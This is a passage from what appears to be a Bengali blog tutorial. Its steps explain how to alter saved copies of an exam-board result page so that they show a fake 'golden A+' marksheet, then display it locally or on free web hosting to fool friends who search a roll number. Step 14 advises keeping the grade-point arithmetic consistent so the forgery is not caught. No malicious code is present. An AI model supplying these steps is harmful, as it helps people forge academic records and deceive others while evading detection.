এই গেলো টোটাল গ্রেড পয়েন্ট চেঞ্জিং, এবার করতে হবে সাবজেক্ট ওয়াইস গ্রেড চেঞ্জিং।



১২. এবার সেম প্রসেসে অরিজিনাল গ্রেড গুলো ফাইন্ড করুন।


১৩. বাংলায় ছিলো মাইনাচ, বানিয়ে দিন প্লাচ। :D :D :D :D

আগে.........................
পরে.....................................................................
১৪. এবার সব সাবজেক্ট এর জিপিএ, মোট গ্রেড পয়েন্ট এর হিসাব অনুযায়ী চেঞ্জ করুন। হিসাব ছাড়া চেঞ্জ করলে ধরা খাবার একটা চান্স থাকে। ;) ;)
১৫. ফাইল সেভ করে বের হয়ে আসুন। এডিটকৃত দুটি ফাইলকে একসাথে একটি ফোল্ডারে রাখুন। হয়ে গেলো আপনার নকল মার্কশিট।

গেলো বানানোর ঝামেলা, এখন দেখুন কিভাবে উপস্থাপন করবেন....................

১৬. বাসায় কোন নন টেকি বন্ধু বান্ধব আসলে সরাসরি New Text Document.html ফাইলটি ওপেন করুন এবং বোর্ড এবং আপনার রোল লিখে এন্টার দিন।

১৭. মুহুর্তেই এসে যাবে আপনার নকল মার্কশিট। দেখুন গোল্ডেন এ+ মার্কশিট!!!!
১৮.যেসব ফ্রেন্ড একটু টেকি কিন্তু অতটা এক্সপার্ট না তাদের জন্য ফাইল দুটিকে একটি ফ্রি হোস্টিং সার্ভারে আপলোড করে দিন।
আমি আপনাদেরকে কিছু ওয়েব সাইটের ঠিকানা দিবো যেগুলোতে ফ্রী ওয়েব হোস্টিং করতে পারবেন
১।http://www.000webhost.com
২।http://www.free-webhosts.com
৩।http://www.0php.com
৪।http://www.xtreemhost.com
৫।http://www.byethost.com/free-hosting
৬।http://www.110mb.com
এসকল ওয়েব সাইটে রেজিষ্টেশনের মাধ্যমে আপনি একটি ওয়েব হোস্টিং নিতে পারবেন ।ওয়েব হোস্টিং নেয়ার পর আপনি Online Control Panel বা FTP এর মাধ্যমে সাইটে ফাইল দুটি আপলোড করে নিবেন। তারপর আপনার তৈরী করা "New Text Document.html" ফাইলটির হোস্টিং লিঙ্ক আপনার বন্ধুদর কাছে পাঠিয়ে দিন। সার্ভার হোস্টে
এখন তারা আপনার রোল নাম্বার লিখে সার্চ দিলেই চলে আসবে আপনার নকল মার্কশিট।
এই টিউনটি অনেক সময় নিয়ে, যথাসম্ভব গুছিয়ে করার চেষ্টা করেছি। কতটুকু পেরেছি তা আপনারা ভাল বলতে পারবেন। কোন ভুল ত্রুটি হলে ক্ষমা সুন্দর চোখে দেখবেন এবং একটা অনুরোধ, ভাল মন্দ যে কোন ধরনের কমেন্ট এবং গঠনমুলক সমালোচনা বেশি বেশি করবেন,যার ফলে এই টিউনের ভুল গুলো আমার চোখে পরবে এবং নেক্সট টিউনে সেগুলো শুধরে নেওয়ার চেস্টা করবো ফলে ভবিষ্যতে আরও ভাল টিউন আপনাদের উপহার দিতে পারব।